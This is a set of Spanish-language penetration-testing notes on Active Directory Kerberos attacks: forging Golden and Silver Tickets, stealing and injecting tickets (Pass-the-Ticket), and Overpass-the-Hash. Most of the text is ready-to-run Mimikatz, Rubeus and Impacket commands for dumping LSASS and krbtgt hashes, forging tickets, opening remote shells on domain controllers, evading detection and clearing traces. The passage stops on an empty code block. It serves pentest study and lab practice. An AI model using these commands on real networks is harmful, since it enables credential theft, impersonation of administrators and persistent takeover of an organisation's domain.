b0ysie7e

Appearance

Pass-the-Ticket — Lo usas cuando ya estás dentro de una máquina del dominio con privilegios de admin local. Corres Rubeus triage y ves que hay sesiones activas de otros usuarios (helpdesk, sysadmin, Domain Admin) que se conectaron a esa máquina. Ocurre mucho en servidores de salto (jump servers), servidores de archivos, o máquinas donde varios admins se conectan. No necesitas crackear nada ni tener hashes — el ticket ya está ahí.

Overpass-the-Hash / Pass-the-Key — Lo usas cuando sacaste hashes de LSASS (sekurlsa::logonpasswords) pero el entorno tiene SMB signing obligatorio o NTLM restringido, impidiendo Pass-the-Hash clásico. También cuando quieres moverse a máquinas donde el usuario tiene acceso pero no hay tickets activos. En labs lo ves cuando te dan un hash y el entorno claramente es Kerberos-only.

Silver Ticket — Lo usas cuando comprometiste una máquina específica y tienes su hash de cuenta de máquina (SERVIDOR$), pero no llegaste al DC todavía. Ocurre cuando comprometiste un servidor SQL, web, o de archivos via explotación directa y extrajiste el hash local. Te da acceso solo a esa máquina pero sin contactar el DC, útil cuando hay monitoreo intenso del DC. También cuando necesitas acceso a un servicio específico como MSSQL o CIFS en una sola máquina.

Golden Ticket — Lo usas después de comprometer el DC completamente (DCSync exitoso con hash de krbtgt). Es persistencia post-explotación. En labs lo identificas cuando ya eres Domain Admin y el ejercicio te pide demostrar persistencia o acceder a un recurso que solo Administrator puede ver. También cuando el DC ya cambió contraseñas y quieres mantener acceso.

Golden Ticket (Windows) ​

Ataque que permite forjar un TGT completamente válido usando el hash NTLM de la cuenta krbtgt. Con un Golden Ticket se puede impersonar a cualquier usuario (incluso usuarios inexistentes) con cualquier privilegio, sin restricción de tiempo real. Es uno de los ataques de persistencia más potentes en AD.

Links: Mimikatz | PowerView

Explicación ​

En Kerberos, el TGT es como la identificación maestra del usuario, y está firmado con la clave de la cuenta krbtgt (una cuenta especial del DC). Normalmente solo el DC puede crear TGTs porque es el único que conoce esa clave.

Si un atacante obtiene el hash NTLM de krbtgt (por ejemplo tras un DCSync exitoso), puede crear sus propios TGTs sin pedirle permiso a nadie. Puede poner cualquier nombre de usuario, cualquier grupo (como Domain Admins), y cualquier fecha de expiración (incluso 10 años). El DC no verifica el contenido del TGT — solo verifica que esté firmado con la clave correcta de krbtgt. Si está bien firmado, lo acepta sin preguntar.

Lo peligroso adicional es que cambiar la contraseña de krbtgt debe hacerse dos veces con tiempo entre ambos cambios (mínimo 10 horas), para que los cambios se repliquen en todo el dominio. En ese ventana de tiempo el atacante puede seguir usando su Golden Ticket, e incluso obtener uno nuevo si observa el cambio.

Información necesaria para forjar el Golden Ticket ​

  • Nombre del dominio
  • SID del dominio
  • Nombre del usuario a impersonar
  • Hash NTLM de krbtgt

Paso 1 - Obtener el SID del dominio ​

powershell
Import-Module .\PowerView.ps1
Get-DomainSID

Paso 2 - Obtener el hash NTLM de krbtgt (DCSync) ​

Requiere una cuenta con privilegios de replicación de dominio (Domain Admin, o cuenta con DCSync configurado).

powershell
.\mimikatz.exe
lsadump::dcsync /user:krbtgt /domain:domain.local
exit

Buscar el valor Hash NTLM: en el output.

Paso 3 - Forjar el Golden Ticket ​

powershell
.\mimikatz.exe
kerberos::golden /domain:<domain.local> /user:<usuario_a_impersonar> /sid:<SID_dominio> /rc4:<NTHASH_krbtgt> /ptt
exit

## Ejemplo

.\mimikatz.exe
kerberos::golden /domain:domain.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:810d754e118439bab1e1d13216150299 /ptt

Con AES256 (más sigiloso que RC4) ​

powershell
kerberos::golden /domain:<domain.local> /user:<usuario_a_impersonar> /sid:<SID_dominio> /aes256:<AES256_krbtgt> /ptt

Con grupos adicionales (ej: Enterprise Admins) ​

powershell
kerberos::golden /domain:<domain.local> /user:<usuario_a_impersonar> /sid:<SID_dominio> /rc4:<NTHASH_krbtgt> /groups:512,513,518,519,520 /ptt

Guardar el ticket en archivo en vez de inyectarlo ​

powershell
kerberos::golden /domain:<domain.local> /user:<usuario_a_impersonar> /sid:<SID_dominio> /rc4:<NTHASH_krbtgt> /ticket:golden.kirbi

Para inyectarlo después:

powershell
kerberos::ptt golden.kirbi

Paso 4 - Verificar el ticket ​

cmd
klist

El ticket aparece con Server: krbtgt/domain.local y una fecha de expiración de 10 años.

Paso 5 - Usar el Golden Ticket ​

powershell
# WinRM / PSRemoting
Enter-PSSession dc01
whoami

## opcion 2 
Enter-PSSession dc01.domain.local

# Acceso a archivos via SMB
dir \\dc01\c$
type \\dc01\c$\Users\Administrator\Documents\goldenticket.txt

# Ejecutar comandos remotamente
Invoke-Command -ComputerName dc01 -ScriptBlock { whoami }

Notas importantes ​

  • El Golden Ticket puede impersonar usuarios inexistentes en el dominio y el DC lo aceptará igual.
  • Para stealth en pentests reales, usar usuarios que sí existen para evitar alertas por usuarios inexistentes en logs.
  • Con /ptt el ticket se inyecta en la sesión actual. Los TGS solicitados a partir de él quedan cacheados y aparecen en klist.
  • Cambiar el hash de krbtgt dos veces (con al menos 10 horas de diferencia entre ambos cambios) es el único remedio para invalidar Golden Tickets existentes.

Resumen del flujo ​

  • Obtener SID del dominio con PowerView (Get-DomainSID)
  • Obtener hash NTLM de krbtgt con Mimikatz DCSync (lsadump::dcsync /user:krbtgt)
  • Forjar el Golden Ticket con Mimikatz (kerberos::golden ... /ptt)
  • Verificar con klist
  • Acceder a recursos del dominio impersonando al usuario elegido

Golden Ticket (Linux) ​

Versión del ataque Golden Ticket usando herramientas de Impacket desde Linux. El concepto es el mismo que desde Windows: forjar un TGT usando el hash de krbtgt, pero aquí se genera un archivo .ccache que se usa con las herramientas de Impacket.

Links: Impacket ticketer.py | Impacket secretsdump.py | lookupsid.py | Hashcat

Explicación ​

En Windows, el Golden Ticket se inyecta directamente en memoria con Mimikatz. En Linux, el proceso es diferente: se genera un archivo .ccache (un archivo que contiene tickets Kerberos) y se le dice al sistema que use ese archivo en lugar de pedir tickets al DC. Es como tener una copia de tu identificación maestra guardada en un archivo que puedes usar cuando quieras.

El resultado es el mismo: puedes hacerte pasar por cualquier usuario del dominio, incluyendo Administrator, sin que el DC pueda impedirlo mientras no cambie dos veces el hash de krbtgt.

Información necesaria ​

  • Nombre del dominio (FQDN)
  • SID del dominio
  • Hash NTLM de krbtgt
  • Usuario a impersonar

Paso 1 - Obtener el SID del dominio ​

Con lookupsid.py ​

bash
lookupsid.py DOMAIN.LOCAL/<user>:'<password>'@<IP_DC>

Buscar la línea DOMAIN-SID en el output. El SID tiene formato S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX.

Con netexec ​

bash
netexec ldap <IP_DC> -u <user> -p '<password>' --get-sid

Paso 2 - Obtener el hash NTLM de krbtgt (DCSync) ​

bash
secretsdump.py DOMAIN.LOCAL/<user>:'<password>'@<IP_DC> -just-dc-user krbtgt

Buscar krbtgt:502:<LM_hash>:<NT_hash>::: en el output. El NT_hash es el que necesitas.

Alternativa con netexec ​

bash
netexec smb <IP_DC> -u <user> -p '<password>' --ntds --user krbtgt

Paso 3 - Forjar el Golden Ticket ​

Con ticketer.py se genera el archivo .ccache directamente.

bash
ticketer.py -nthash <NTHASH_krbtgt> -domain-sid <SID_dominio> -domain DOMAIN.LOCAL <usuario_a_impersonar>

El ticket se guarda como <usuario_a_impersonar>.ccache.

Con AES256 (más sigiloso) ​

Para obtener la AES256 key de krbtgt:

bash
secretsdump.py DOMAIN.LOCAL/<user>:'<password>'@<IP_DC> -just-dc-user krbtgt

Buscar Kerberos keys: → aes256-cts-hmac-sha1-96.

bash
ticketer.py -aesKey <AES256_krbtgt> -domain-sid <SID_dominio> -domain DOMAIN.LOCAL <usuario_a_impersonar>

Con grupos adicionales ​

bash
ticketer.py -nthash <NTHASH_krbtgt> -domain-sid <SID_dominio> -domain DOMAIN.LOCAL -groups 512,513,518,519,520 <usuario_a_impersonar>

Con duración personalizada (en horas) ​

bash
ticketer.py -nthash <NTHASH_krbtgt> -domain-sid <SID_dominio> -domain DOMAIN.LOCAL -duration 87600 <usuario_a_impersonar>

Paso 4 - Exportar el ticket ​

bash
export KRB5CCNAME=./<usuario_a_impersonar>.ccache

Paso 5 - Usar el Golden Ticket ​

Verificar el ticket ​

bash
klist

Acceder al DC y ejecutar comandos ​

bash
# Shell interactiva con psexec
psexec -k -no-pass dc01.domain.local

psexec.py -k -no-pass DOMAIN.LOCAL/<usuario_a_impersonar>@dc01.domain.local

# Especificando IPs si el DNS no resuelve
psexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/<usuario_a_impersonar>@DC01

nxc smb <target> -k --use-kcache --kdcHost <DC_IP>

# wmiexec (semi-interactivo, menos ruidoso)
wmiexec.py -k -no-pass DOMAIN.LOCAL/<usuario_a_impersonar>@dc01.domain.local
wmiexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/<usuario_a_impersonar>@DC01

# Acceder a archivos via SMB
smbclient.py -k -no-pass DOMAIN.LOCAL/<usuario_a_impersonar>@dc01.domain.local

# DCSync con el Golden Ticket
secretsdump.py -k -no-pass DOMAIN.LOCAL/<usuario_a_impersonar>@dc01.domain.local

Notas importantes ​

  • El ticket generado tiene por defecto una duración de 10 años.
  • El FQDN del DC debe estar resuelto en /etc/hosts antes de usarlo.
  • Si el DC rechaza el ticket, verificar que el SID del dominio y el hash de krbtgt son correctos — un solo carácter incorrecto invalida todo el ticket.
  • El remedio para invalidar Golden Tickets es cambiar el hash de krbtgt dos veces con al menos 10 horas entre cambios.

Resumen del flujo ​

  • Obtener SID del dominio con lookupsid.py o netexec --get-sid
  • Obtener hash NTLM de krbtgt con secretsdump.py -just-dc-user krbtgt
  • Forjar el ticket con ticketer.py -nthash ... -domain-sid ... -domain ... <usuario>
  • Exportar con export KRB5CCNAME=./<usuario>.ccache
  • Acceder con psexec.py -k -no-pass o wmiexec.py -k -no-pass

Silver Ticket (Windows) ​

Ataque que permite forjar un Service Ticket (TGS) directamente usando el hash NTLM de la cuenta de servicio (o cuenta de máquina). A diferencia del Golden Ticket, no requiere el hash de krbtgt ni comunicación con el DC para usarlo — el ticket se presenta directamente al servicio objetivo.

Links: Mimikatz | PowerView | SPNs en Windows

Explicación ​

En Kerberos, cuando quieres acceder a un servicio (por ejemplo, los archivos compartidos de un servidor), el DC te da un "pase temporal" (TGS) cifrado con la clave del servicio. El servidor verifica ese pase descifrándolo con su propia clave y, si todo está bien, te da acceso.

El Silver Ticket explota esto de forma diferente al Golden Ticket: en vez de forjar la "identificación maestra" (TGT), se forja directamente el "pase temporal" (TGS) para un servicio específico. Esto es posible si tienes el hash NTLM de la cuenta que ejecuta ese servicio (por ejemplo, la cuenta de máquina SERVER01$).

La ventaja es que no necesitas contactar al DC para usar el Silver Ticket — vas directo al servicio, que no sabe que el ticket fue forjado. La desventaja es que el ticket solo sirve para ese servicio en específico, no para todo el dominio como el Golden Ticket.

En entornos modernos (Windows Server 2019+) con PAC verification habilitado, el Silver Ticket puede ser detectado porque el servicio consulta al DC para validar el PAC. Sin embargo en muchos entornos esto no está habilitado por defecto.

Información necesaria ​

  • Nombre del dominio
  • SID del dominio
  • Hash NTLM de la cuenta de servicio (o cuenta de máquina)
  • SPN del servicio objetivo
  • Usuario a impersonar

Paso 1 - Obtener el SID del dominio ​

powershell
Import-Module .\PowerView.ps1
Get-DomainSID

Paso 2 - Obtener el hash NTLM de la cuenta de servicio ​

Desde LSASS (si se tiene acceso al servidor) ​

powershell
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
exit

Via DCSync (si se tiene acceso de replicación) ​

powershell
.\mimikatz.exe
lsadump::dcsync /user:<SERVICIO>$ /domain:domain.local
exit

Paso 3 - Forjar el Silver Ticket ​

powershell
.\mimikatz.exe
kerberos::golden /domain:<domain.local> /user:<usuario_a_impersonar> /sid:<SID_dominio> /rc4:<NTHASH_servicio> /target:<server.domain.local> /service:<tipo_servicio> /ptt
exit

## Ejemplo:
kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.domain.local /service:cifs 

kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.domain.local /service:cifs /ticket:sql01.kirbi

Parámetros clave ​

  • /target — FQDN del servidor que ofrece el servicio (ej: dc01.domain.local)
  • /service — Tipo de servicio (ver tabla abajo)
  • /rc4 — Hash NTLM de la cuenta que ejecuta el servicio

Tipos de servicio más comunes ​

  • cifs — Acceso a archivos compartidos (SMB)
  • http — WinRM y web services
  • host — Tareas programadas, WMI, RDP
  • ldap — Operaciones LDAP incluyendo DCSync
  • mssql — SQL Server
  • rpcss — RPC services
  • wsman — WinRM (Windows Remote Management)
  • krbtgt — Equivalente a Golden Ticket (solo si el target es el DC)

Tipos de servicio y su uso ​

El valor de /service determina el SPN exacto para el que el ticket es válido. Un Silver Ticket forjado para cifs no sirve para http, ni viceversa — cada servicio corre bajo un SPN distinto aunque esté en la misma máquina, y Windows exige el ticket correspondiente al servicio que se está consumiendo.

  • cifs — Acceso a archivos compartidos vía SMB (dir \\host\c$, type, copy). Es el más usado para leer/escribir archivos remotos.
  • http / www — Servicios web. No sirve para Enter-PSSession — aunque suene relacionado a WinRM, PSRemoting depende del SPN WSMAN, no de HTTP genérico.
  • wsman — El SPN específico que usa WinRM/PSRemoting. Si se necesita Enter-PSSession, este es el servicio correcto a forjar, no http.
  • host — Cubre tareas programadas, at, WMI, y en muchos casos también habilita RDP y ejecución remota general. Es uno de los más versátiles.
  • ldap — Operaciones LDAP contra el DC, incluyendo la posibilidad de ejecutar DCSync si el ticket se forja contra el propio DC.
  • mssql / MSSQLSvc — Consultas y ejecución en SQL Server (requiere el formato MSSQLSvc/host:puerto).
  • rpcss — Servicios RPC, usado por herramientas que dependen de DCOM/RPC.
  • krbtgt — Si el target es el DC y el servicio es krbtgt, en la práctica es equivalente a un Golden Ticket (accede a todo).

Por qué un ticket puede fallar en un uso específico ​

Si se forjó el ticket con /service:HTTP y luego se intenta Enter-PSSession, PowerShell internamente pide un ticket para el SPN WSMAN/<host>, que es distinto al HTTP/<host> forjado. Como no coinciden, la autenticación falla silenciosamente o cae de vuelta a NTLM (que a su vez puede fallar si NTLM está deshabilitado).

Para saber exactamente qué SPN necesita una acción, es útil revisar qué SPNs tiene registrados la cuenta objetivo con setspn -L <cuenta> y forjar el Silver Ticket con el servicio exacto correspondiente.

Forjar varios servicios a la vez ​

Si no se sabe con certeza qué SPN se necesita, se pueden generar varios Silver Tickets (uno por servicio) para la misma cuenta y target:

powershell
kerberos::golden /domain:<domain.local> /user:Administrator /sid:<SID> /rc4:<NTHASH> /target:<server> /service:cifs /ptt
kerberos::golden /domain:<domain.local> /user:Administrator /sid:<SID> /rc4:<NTHASH> /target:<server> /service:wsman /ptt
kerberos::golden /domain:<domain.local> /user:Administrator /sid:<SID> /rc4:<NTHASH> /target:<server> /service:host /ptt

Con AES256 (más sigiloso) ​

powershell
kerberos::golden /domain:<domain.local> /user:<usuario_a_impersonar> /sid:<SID_dominio> /aes256:<AES256_servicio> /target:<server.domain.local> /service:cifs /ptt

Guardar el ticket en archivo ​

powershell
kerberos::golden /domain:<domain.local> /user:<usuario_a_impersonar> /sid:<SID_dominio> /rc4:<NTHASH_servicio> /target:<server.domain.local> /service:cifs /ticket:silver.kirbi

Inyectar después:

powershell
kerberos::ptt silver.kirbi

Paso 4 - Verificar el ticket ​

cmd
klist

El ticket muestra Server: cifs/<target> (o el servicio elegido) en lugar de krbtgt/.

Paso 5 - Usar el Silver Ticket ​

Acceso a archivos (CIFS) ​

powershell
dir \\server.domain.local\c$
type \\server.domain.local\c$\Users\Administrator\Desktop\flag.txt

WinRM (HTTP o WSMAN) ​

powershell
Enter-PSSession server.domain.local

DCSync con ticket LDAP (forjado contra el DC) ​

powershell
.\mimikatz.exe
lsadump::dcsync /user:krbtgt
exit

Sacrificial Process con Rubeus y PsExec (Sysinternals) ​

En vez de inyectar el Silver Ticket directamente en la sesión actual con /ptt, se puede guardar el ticket en archivo y usarlo en un proceso sacrificial — un proceso nuevo con credenciales limpias donde se inyecta el ticket, evitando sobrescribir tickets de la sesión actual (lo cual podría interrumpir servicios o sesiones activas).

Paso 1 - Crear el Silver Ticket y guardarlo en archivo ​

powershell
mimikatz.exe "kerberos::golden /domain:<domain.local> /user:Administrator /sid:<SID_dominio> /rc4:<NTHASH_servicio> /target:<server.domain.local> /service:cifs /ticket:silver.kirbi" exit

Paso 2 - Crear el proceso sacrificial con Rubeus ​

powershell
Rubeus.exe createnetonly /program:cmd.exe /show

Esto abre una nueva ventana cmd.exe con credenciales aleatorias (sin relación con el usuario actual), evitando tocar la sesión Kerberos existente.

Paso 3 - Inyectar el ticket en el proceso sacrificial ​

Desde la nueva ventana cmd.exe abierta:

cmd
Rubeus.exe ptt /ticket:silver.kirbi

Paso 4 - Usar PsExec (Sysinternals) con el ticket inyectado ​

cmd
PSExec.exe -accepteula \\sql01.domain.local cmd

Esto da una shell remota en el host objetivo usando el contexto Kerberos del ticket recién inyectado en el proceso sacrificial.

Nota: PSExec.exe de Sysinternals es distinto de psexec.py de Impacket. El de Sysinternals usa la sesión Kerberos de Windows directamente (útil en el flujo con Rubeus/Mimikatz), mientras que psexec.py es la herramienta equivalente en Linux que trabaja con archivos .ccache.

Diferencia clave con el Golden Ticket ​

  • Golden Ticket — Forja el TGT usando el hash de krbtgt. Sirve para cualquier servicio en cualquier máquina del dominio. Requiere el hash de krbtgt.
  • Silver Ticket — Forja el TGS directamente para un servicio específico. No necesita contactar al DC para usarlo. Solo requiere el hash de la cuenta de servicio (más fácil de obtener). Más sigiloso porque no hay comunicación con el DC.

Resumen del flujo ​

  • Obtener SID del dominio con PowerView (Get-DomainSID)
  • Obtener hash NTLM de la cuenta de servicio (Mimikatz sekurlsa::logonpasswords o DCSync)
  • Forjar el Silver Ticket con Mimikatz (kerberos::golden /service:<tipo> /target:<server>)
  • Verificar con klist
  • Usar según el servicio: dir \\server\c$ para CIFS, Enter-PSSession para HTTP/WSMAN

Silver Ticket (Linux) ​

Versión del ataque Silver Ticket usando herramientas de Impacket desde Linux. Se genera un archivo .ccache con el TGS forjado usando el hash de la cuenta de servicio y se usa directamente contra el servicio objetivo sin interactuar con el DC.

Links: Impacket ticketer.py | Impacket secretsdump.py | lookupsid.py

Explicación ​

Desde Linux el proceso es muy similar al Golden Ticket: se usa ticketer.py para generar el ticket forjado, pero esta vez en lugar de usar el hash de krbtgt, se usa el hash de la cuenta de servicio específica. El resultado es un archivo .ccache que se puede usar directamente con psexec, wmiexec u otras herramientas de Impacket.

La diferencia práctica más importante respecto al Golden Ticket es que el Silver Ticket no viaja por el DC — va directo al servicio. Esto lo hace más difícil de detectar en entornos donde los logs de Kerberos están bien monitoreados, porque no genera eventos de solicitud de TGT ni TGS en el DC.

Información necesaria ​

  • Nombre del dominio (FQDN)
  • SID del dominio
  • Hash NTLM de la cuenta de servicio
  • SPN del servicio objetivo (tipo y hostname)
  • Usuario a impersonar

Paso 1 - Obtener el SID del dominio ​

bash
lookupsid.py DOMAIN.LOCAL/<user>:'<password>'@<IP_DC>

O con netexec:

bash
netexec ldap <IP_DC> -u <user> -p '<password>' --get-sid

Paso 2 - Obtener el hash NTLM de la cuenta de servicio ​

Via DCSync ​

bash
secretsdump.py DOMAIN.LOCAL/<user>:'<password>'@<IP_DC> -just-dc-user <cuenta_servicio>$

Desde un host comprometido ​

bash
secretsdump.py DOMAIN.LOCAL/<user>:'<password>'@<IP_HOST>

Buscar la línea <cuenta>$:<RID>:<LM_hash>:<NT_hash>:::. El NT_hash es el que se necesita.

Paso 3 - Forjar el Silver Ticket ​

bash
ticketer.py -nthash <NTHASH_servicio> -domain-sid <SID_dominio> -domain DOMAIN.LOCAL -spn <tipo_servicio>/<server.domain.local> <usuario_a_impersonar>

Ejemplos por tipo de servicio ​

bash
# CIFS - acceso a archivos
ticketer.py -nthash <NTHASH> -domain-sid <SID> -domain DOMAIN.LOCAL -spn cifs/dc01.domain.local Administrator

# HTTP - WinRM
ticketer.py -nthash <NTHASH> -domain-sid <SID> -domain DOMAIN.LOCAL -spn http/dc01.domain.local Administrator

# LDAP - DCSync y operaciones LDAP
ticketer.py -nthash <NTHASH> -domain-sid <SID> -domain DOMAIN.LOCAL -spn ldap/dc01.domain.local Administrator

# MSSQL
ticketer.py -nthash <NTHASH> -domain-sid <SID> -domain DOMAIN.LOCAL -spn MSSQLSvc/sql01.domain.local:1433 Administrator

Con AES256 (más sigiloso) ​

bash
ticketer.py -aesKey <AES256_servicio> -domain-sid <SID_dominio> -domain DOMAIN.LOCAL -spn cifs/dc01.domain.local Administrator

El ticket se guarda como Administrator.ccache.

Paso 4 - Exportar el ticket ​

bash
export KRB5CCNAME=./Administrator.ccache

Paso 5 - Usar el Silver Ticket ​

Verificar el ticket ​

bash
klist

A diferencia del Golden Ticket, este ticket muestra el SPN del servicio específico (ej: cifs/dc01.domain.local) en vez de krbtgt.

Acceso a archivos (CIFS) ​

bash
smbclient.py -k -no-pass DOMAIN.LOCAL/Administrator@dc01.domain.local

Shell interactiva ​

bash
#psexec
impacket-smbclient -k -no-pass dc01.domain.local

# psexec
psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc01.domain.local

# Si el DNS no resuelve
psexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/Administrator@DC01

# wmiexec
wmiexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc01.domain.local
wmiexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/Administrator@DC01

DCSync con ticket LDAP ​

bash
secretsdump.py -k -no-pass DOMAIN.LOCAL/Administrator@dc01.domain.local

Diferencia con el Golden Ticket (Linux) ​

  • Golden Ticket → ticketer.py sin -spn, usa hash de krbtgt, genera TGT válido para cualquier servicio
  • Silver Ticket → ticketer.py con -spn <servicio>/<host>, usa hash de la cuenta de servicio, genera TGS solo para ese servicio/host

Resumen del flujo ​

  • Obtener SID del dominio con lookupsid.py o netexec --get-sid
  • Obtener hash de la cuenta de servicio con secretsdump.py -just-dc-user
  • Forjar el Silver Ticket con ticketer.py -nthash ... -spn <servicio>/<host>
  • Exportar con export KRB5CCNAME=./Administrator.ccache
  • Usar con psexec.py, wmiexec.py, smbclient.py o secretsdump.py según el servicio

Pass-the-Ticket (PtT) ​

Técnica que consiste en robar un ticket Kerberos (TGT o TGS) de otro usuario de la misma máquina y usarlo para autenticarse como ese usuario sin necesitar su contraseña. A diferencia de Pass-the-Hash (que usa NTLM), PtT usa tickets Kerberos válidos ya emitidos.

Links: Mimikatz | Rubeus | Impacket

Explicación ​

Imagina que en tu computadora del trabajo hay tres personas usando sesiones simultáneas: tú, tu jefe, y el administrador del sistema. En Windows, todos esos usuarios tienen sus tickets Kerberos guardados en memoria (en el proceso LSASS). Si tienes privilegios de administrador local, puedes "robar" el ticket de cualquiera de ellos y usarlo como si fueras esa persona — sin necesitar su contraseña.

Es diferente del Golden/Silver Ticket porque no estás creando tickets falsos, sino robando tickets reales y legítimos que ya existen en la memoria del sistema. Estos tickets tienen una validez limitada (por defecto 10 horas para TGTs y la sesión para TGS), por lo que hay que actuar rápido.

Exportar tickets desde memoria (Windows) ​

Con Mimikatz - exportar todos los tickets ​

powershell
.\mimikatz.exe
privilege::debug
sekurlsa::tickets /export
exit

Genera un archivo .kirbi por cada ticket en memoria. Los nombres siguen el formato [número]-[usuario]@[servicio]-[dominio].kirbi.

Con Rubeus - listar tickets en memoria ​

powershell
.\Rubeus.exe triage

Muestra todos los tickets con su usuario, servicio, fecha de expiración y LUID (identificador de sesión).

Con Rubeus - exportar todos los tickets ​

powershell
.\Rubeus.exe dump /nowrap

Exporta los tickets en formato Base64.

Con Rubeus - exportar ticket de un usuario específico ​

powershell
.\Rubeus.exe dump /user:<usuario> /nowrap

Con Rubeus - exportar ticket de una sesión específica (LUID) ​

powershell
.\Rubeus.exe dump /luid:<LUID> /nowrap

Inyectar tickets en memoria (Windows) ​

Con Mimikatz desde archivo .kirbi ​

powershell
.\mimikatz.exe
kerberos::ptt <ticket.kirbi>
exit

Con Rubeus desde archivo .kirbi ​

powershell
.\Rubeus.exe ptt /ticket:<ticket.kirbi>

Con Rubeus desde Base64 ​

powershell
.\Rubeus.exe ptt /ticket:<base64_ticket>

Inyectar en una sesión específica (LUID) ​

powershell
.\Rubeus.exe ptt /ticket:<ticket> /luid:<LUID>

Verificar el ticket activo en memoria ​

cmd
klist

Usar el ticket inyectado ​

Una vez inyectado, el sistema operativo usa automáticamente ese ticket para las autenticaciones Kerberos. No hace falta hacer nada extra:

powershell
# Acceder a recursos del dominio
dir \\dc01.domain.local\c$
Enter-PSSession dc01.domain.local
Invoke-Command -ComputerName dc01.domain.local -ScriptBlock { whoami }

Limpiar tickets de memoria (Windows) ​

Para no dejar rastros o para empezar con una sesión limpia:

powershell
# Limpiar todos los tickets de la sesión actual
.\Rubeus.exe purge

# Limpiar con klist
klist purge

Pass-the-Ticket desde Linux ​

En Linux los tickets se manejan como archivos .ccache. Si se obtiene el archivo de ticket de un usuario (por ejemplo, extrayendo del proceso de memoria de una máquina comprometida), se puede usar directamente.

Convertir .kirbi a .ccache ​

bash
# Usando impacket
ticketConverter.py <ticket.kirbi> <ticket.ccache>

Convertir .ccache a .kirbi ​

bash
ticketConverter.py <ticket.ccache> <ticket.kirbi>

Usar el .ccache directamente ​

bash
export KRB5CCNAME=./<ticket.ccache>
psexec.py -k -no-pass DOMAIN.LOCAL/<usuario>@<target>

Extraer tickets desde Linux (ccache del sistema) ​

Si se compromete una máquina Linux unida al dominio, los tickets suelen estar en /tmp/ con nombres como krb5cc_<UID>.

bash
# Listar tickets disponibles
ls -la /tmp/krb5cc_*

# Usar el ticket directamente
export KRB5CCNAME=/tmp/krb5cc_1000
klist

Diferencias entre PtT, Golden Ticket y Silver Ticket ​

  • Pass-the-Ticket — Roba tickets existentes y legítimos de la memoria. Requiere acceso local. El ticket expira cuando expira el original.
  • Golden Ticket — Crea un TGT falso usando el hash de krbtgt. No expira (10 años). Funciona para cualquier servicio del dominio.
  • Silver Ticket — Crea un TGS falso para un servicio específico usando el hash de la cuenta de servicio. No necesita el DC para usarlo.

Resumen del flujo (Windows) ​

  • Identificar usuarios con tickets interesantes con Rubeus triage
  • Exportar el ticket con Rubeus dump /user:<usuario> /nowrap
  • Inyectar el ticket con Rubeus ptt /ticket:<base64> o kerberos::ptt <archivo.kirbi>
  • Verificar con klist
  • Acceder al recurso objetivo (dir \\dc01\c$, Enter-PSSession, etc.)
  • Limpiar con Rubeus purge o klist purge al terminar

Overpass-the-Hash / Pass-the-Key ​

Técnicas que permiten usar un hash NTLM o una clave AES de un usuario para obtener un ticket Kerberos (TGT) y moverse lateralmente en el dominio. Son el puente entre los ataques basados en NTLM (Pass-the-Hash) y los ataques Kerberos.

Links: Rubeus | Mimikatz | Impacket getTGT | Impacket psexec

Explicación ​

Imagina que tienes el hash NTLM de la contraseña de un usuario (por ejemplo, obtenido de la memoria del sistema con Mimikatz). Con Pass-the-Hash clásico, lo usarías para autenticarte vía NTLM directamente. Pero Kerberos es diferente: necesitas un ticket, no un hash.

Overpass-the-Hash resuelve esto: toma ese hash NTLM y lo usa para pedirle al DC un TGT válido como ese usuario. Una vez tienes el TGT, ya estás dentro del mundo Kerberos y puedes moverte lateralmente sin usar NTLM para nada más. Es especialmente útil en entornos que tienen NTLM deshabilitado o muy monitorado.

Pass-the-Key es lo mismo pero usando claves AES (AES128 o AES256) en lugar del hash NTLM. Es más sigiloso porque el tráfico Kerberos con AES parece completamente legítimo, sin diferencia con una autenticación normal de un usuario real.

Obtener el hash o clave del usuario ​

Con Mimikatz - desde LSASS ​

powershell
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
exit

Buscar en el output por usuario:

  • NTLM — hash para Overpass-the-Hash
  • aes256_hmac o aes128_hmac — clave para Pass-the-Key

Con secretsdump.py (DCSync o local) ​

bash
# DCSync (requiere permisos de replicación)
secretsdump.py DOMAIN.LOCAL/<user>:'<password>'@<IP_DC> -just-dc-user <usuario_objetivo>

# Desde host comprometido
secretsdump.py DOMAIN.LOCAL/<user>:'<password>'@<IP_HOST>

Overpass-the-Hash (Windows) ​

Con Rubeus - pedir TGT usando NTLM hash e inyectarlo ​

powershell
.\Rubeus.exe asktgt /user:<usuario> /rc4:<NTHASH> /ptt

Con AES256 (Pass-the-Key, más sigiloso) ​

powershell
.\Rubeus.exe asktgt /user:<usuario> /aes256:<AES256_KEY> /ptt

Con AES128 ​

powershell
.\Rubeus.exe asktgt /user:<usuario> /aes128:<AES128_KEY> /ptt

Especificando el dominio y DC ​

powershell
.\Rubeus.exe asktgt /user:<usuario> /rc4:<NTHASH> /domain:domain.local /dc:dc01.domain.local /ptt

Guardar el TGT en archivo sin inyectarlo ​

powershell
.\Rubeus.exe asktgt /user:<usuario> /rc4:<NTHASH> /domain:domain.local /outfile:ticket.kirbi

Con Mimikatz (Overpass-the-Hash) ​

powershell
.\mimikatz.exe
sekurlsa::pth /user:<usuario> /domain:domain.local /ntlm:<NTHASH>
exit

Abre una nueva ventana cmd.exe con el contexto del usuario. En esa ventana, cualquier comando que requiera Kerberos (como dir \\dc01\c$) usará el hash para pedir el TGT automáticamente.

Overpass-the-Hash / Pass-the-Key (Linux) ​

Con getTGT.py - usando NTLM hash ​

bash
getTGT.py DOMAIN.LOCAL/<usuario> -hashes :<NTHASH> -dc-ip <IP_DC>

Con AES256 (Pass-the-Key) ​

bash
